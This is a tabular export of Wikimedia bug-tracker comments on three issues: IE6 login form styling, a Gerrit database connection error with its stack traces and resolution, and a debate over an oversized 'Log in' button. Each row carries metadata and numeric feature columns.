+**Attached**: {F10338}",Low,25.0,1367884380,1397030318.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jtillquxnzr5gdgccq2i,task_description,declined,True,c2,1,False,False,False,-17,True,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+208746,[New form] Login and signup form styles borked in IE6,"**swalling** wrote:
+
+IE6 is officially at end of lifecycle,[1] and is less than 1% of Wikimedia readership. There is no reason to consider fixing this if it's specific to IE6.
+
+1.http://www.modern.ie/en-us/ie6countdown",,,1397030318,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,False,,,32,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+208739,[New form] Login and signup form styles borked in IE6,*** Bug 58463 has been marked as a duplicate of this bug. ***,,,1386967436,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,True,,,15,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+208733,[New form] Login and signup form styles borked in IE6,*** Bug 48923 has been marked as a duplicate of this bug. ***,,,1380129833,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+208726,[New form] Login and signup form styles borked in IE6,"**swalling** wrote:
+
+IE6 create account
+
+**Attached**: {F10339}",,,1367884438,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+50061,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Screenshot of error page
+
+Location: https://gerrit.wikimedia.org/r/#/c/62207/
+
+-------
+HTTP ERROR: 500
+
+Problem accessing /r/. Reason:
+
+    Guice provision errors:
+
+1) Cannot open ReviewDb
+  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
+  while locating com.google.gerrit.reviewdb.server.ReviewDb
+
+1 error
+Powered by Jetty://
+-------
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+
+**Attached**: {F10881}",Low,25.0,1367624100,1469470056.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-pydycukvdxntr4dpcbxp,task_description,invalid,True,c2,1,True,False,False,-17,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+700103,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","So I'm closing this as invalid. Couple of things:
+
+* ""Guice provision error,"" while an opaque error, is what Gerrit is going to throw when it can't connect to the database. There's not much we can do here except make sure it can connect. Upgrading, while great and maybe fixes *some* connection bug somewhere, doesn't actually fix the complaint here.
+* Showing a generic 503 page when Gerrit is having troubles (apache proxy can't talk to it) is confusing and not useful to users. I fixed this so we show a nicer downtime page now.
+
+I'm not sure what else is actionable here.",,,1469470056,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,151,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+693836,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",This was not fixed on the existing install and should not be declined either because it's a real bug. Can resolve after upgrade.,,,1468429778,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+693627,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Yeah, but we are talking about upgrading gerrit.wikimedia.org, not some other subdomain. Plus not really relevant for this task.",,,1468416046,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+693621,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Actually it has been deployed at
+
+https://gerrit-new.wikimedia.org
+",,,1468415965,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,150,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+693622,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","@Paladox: Noone is aware of any fix [[ https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle | hence this is not resolved ]]... Declining for the time being.
+
+Please reopen if still happening with 2.12 (to be deployed soon).",,,1468415998,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1
+693619,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","@Paladox: Noone is aware of any fix [[ https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle 
+ hence this is not resolved ]]... Declining for the time being.
+
+Please reopen if still happening with 2.12 (to be deployed soon).",,,1468415728,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1
+692924,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","The problem seems to not happen any more in over 1 and half years.
+
+We are upgrading to gerrit 2.12 soon so maybe that will finally fix anything.",,,1468340007,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,149,True,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+398500,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Happened again just now:
+
+```
+Guice provision errors:
+
+1) Cannot open ReviewDb
+  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
+  while locating com.google.gerrit.reviewdb.server.ReviewDb
+
+1 error
+```",,,1421095015,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,71,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+398499,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Happened again just now:
+
+```
+Guice provision errors:
+
+1) Cannot open ReviewDb
+  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
+  while locating com.google.gerrit.reviewdb.server.ReviewDb
+
+1 error
+`",,,1421094995,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,71,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+226616,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","There's no one bug here so I'm not sure what this is supposed to accomplish.
+
+""Don't break the database connection with bad config, networking hiccups or otherwise crash the ability of Gerrit to talk to its DB?""",,,1402364937,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,40,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+226611,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","And its back coming to eat more innocent souls:
+
+Guice provision errors:
+
+1) Cannot open ReviewDb
+  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
+  while locating com.google.gerrit.reviewdb.server.ReviewDb
+
+1 error",,,1402363894,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,40,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+226606,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",[Lowering priority; no recent incidents.],,,1394715575,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1
+226602,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","The following error appeared today (a few minutes ago):
+
+
+Guice provision errors:
+
+1) Cannot open ReviewDb
+  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
+  while locating com.google.gerrit.reviewdb.server.ReviewDb
+
+1 error",,,1373404126,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-8,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+226597,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Restart of Gerrit restored functionality for now.,,,1369248825,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226591,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Created attachment 12371
+Proxy error, usually accompanies the previously captured Guice error
+
+The problem is back.
+
+**Attached**: {F10882}",,,1369248789,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+226585,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Seen again with exactly the same error message, on https://gerrit.wikimedia.org/r/#/c/63824/ .",,,1368628934,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+226580,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","(In reply to comment #3)
+> Gerrit was restared, Seems to be working now.
+
+Lowering priority.",,,1368621843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+226574,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Here's the full stacktraces from the failure: http://p.defau.lt/?B4I7N8sdqihW2Dj7tQOUNw,,,1368445870,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+226566,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Chad: Do the logs show a root cause?,,,1368441637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+226558,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","In case this becomes relevant at some point of investigating the root cause:
+~2 hours before this happened MatmaRex told me that gerrit was really slow
+to respond. Not having access to logs, I checked ganglia, and the graphs
+showed the usual increase around that time of the day.
+
+The now reported error message surfaces if gerrit could connect to the
+database at startup but now cannot open new connections to the
+database.
+
+Do the logs show a root cause?",,,1367664845,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+226549,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Reopening since restarting isn't a solution. Will take a look at the logs.,,,1367643622,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+226544,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Gerrit was restared, https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=68980&oldid=68979. Seems to be working now.",,,1367630995,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+226538,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Seems to affect SSH too.,,,1367628879,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226533,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Looks like this has escalated. Most users don't even get an error, it just times out. Gerrit has become completely unresponsive.",,,1367627990,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-17,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+49785,"""Log in"" button is oversized in redesigned user login form","Looking at <https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1>, the ""Log in"" button is really big. I think it could be described as oversized. I'm not sure why this is. In Vector, it's a lot of blue to deal with.
+
+Looking at facebook.com, gmail.com, and twitter.com, it seems like stylizing these buttons is common. But all of them seem to use regular/normal size buttons.
+
+Even at <https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1>, the other button (the green ""Join Wikipedia"" button) is closer to normal size.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1367134920,1392856072.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_description,declined,True,c2,1,True,False,False,-18,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+209226,"""Log in"" button is oversized in redesigned user login form",It was redone a few times and looks good enough for me these days.,,,1392856072,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,3,True,,,25,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+209223,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #6)
+
+> If there is direction in the design strategy on when, where and why to use this
+> 'bulky' form of a button, then I have little trouble with it.
+
+mw-ui-button makes a gradient button, mw-ui-big gives it a large font, mw-ui-primary makes it blue (in the vector skin).  That set is what the ""Agora"" design suggests for the main (Call to action) submit button of a form
+
+You can see a secondary button in Create account's [Join wikiname] button, which is mw-ui-button mw-ui-constructive (green in vector).
+
+The mw-ui-vform style for compact vertical forms makes buttons within it into stacked full-width (display:block, width:100%) elements.  That is likely to be over-aggressive, e.g. a form with additional [Reset] and [Cancel] buttons will probably be overwhelming if they're all stacked.  Create account overrides full-width for its [Join {wikiname}] button. We'll learn more as other forms adopt the design.
+
+https://www.mediawiki.org/wiki/Agora#Code.2C_status describes the implementation, it's nested inside a bigger ""Wikimedia Foundation Design"" plan that is unfortunately out-of-date in areas.",,,1367283762,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+209220,"""Log in"" button is oversized in redesigned user login form","https://en.m.wikipedia.org/wiki/Special:UserLogin is using a large log in button, though it appears this form was optimized for an iPhone.",,,1367250556,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+209214,"""Log in"" button is oversized in redesigned user login form","I'm guessing this falls into the new design direction that WMF wants to go. If there is direction in the design strategy on when, where and why to use this 'bulky' form of a button, then I have little trouble with it.
+
+I'd say just don't use it too much like that, it shouldn't become Fisher-Price here.",,,1367233208,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+209210,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #3)
+> The buttons are not oversized. They seem that way because they are larger
+> than other buttons in Vector or Monobook, but that does not mean it is wrong.
+
+Well, button, not buttons. We're only discussing the ""Log in"" button. And if we can accept that every other button in the interface defines the ""normal"" size, then we can definitively say that this particular button is oversized.
+
+It seems to be out-of-step with the rest of the MediaWiki interface and out-of-step with common practice on the Web.
+
+It would be helpful to have examples of a log in button this large in another site's user interface. Here are some examples where the log in button is normal size:
+
+* https://instagram.com/accounts/login/
+* https://twitter.com/login
+* https://myaccount.nytimes.com/auth/login
+* https://secure.nordstrom.com/SignIn.aspx
+* https://shop.wikimedia.org/account/login
+* https://blog.wikimedia.org/wp-login.php
+* https://mingle.corp.wikimedia.org/profile/login
+* https://ticket.wikimedia.org/otrs/index.pl
+
+I found one example of a site using an oversized log in button:
+
+* http://www.wikia.com/Special:UserLogin
+
+Perhaps there are others? Or perhaps only the designers at Wikia and the Wikimedia Foundation have studied Fitts' law.",,,1367189946,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+209207,"""Log in"" button is oversized in redesigned user login form","Large targets are necessary so a user knows what the CTA is even when they squint at the interface:
+
+This is driven by a quantitative science, known as 'Fitt's law'
+
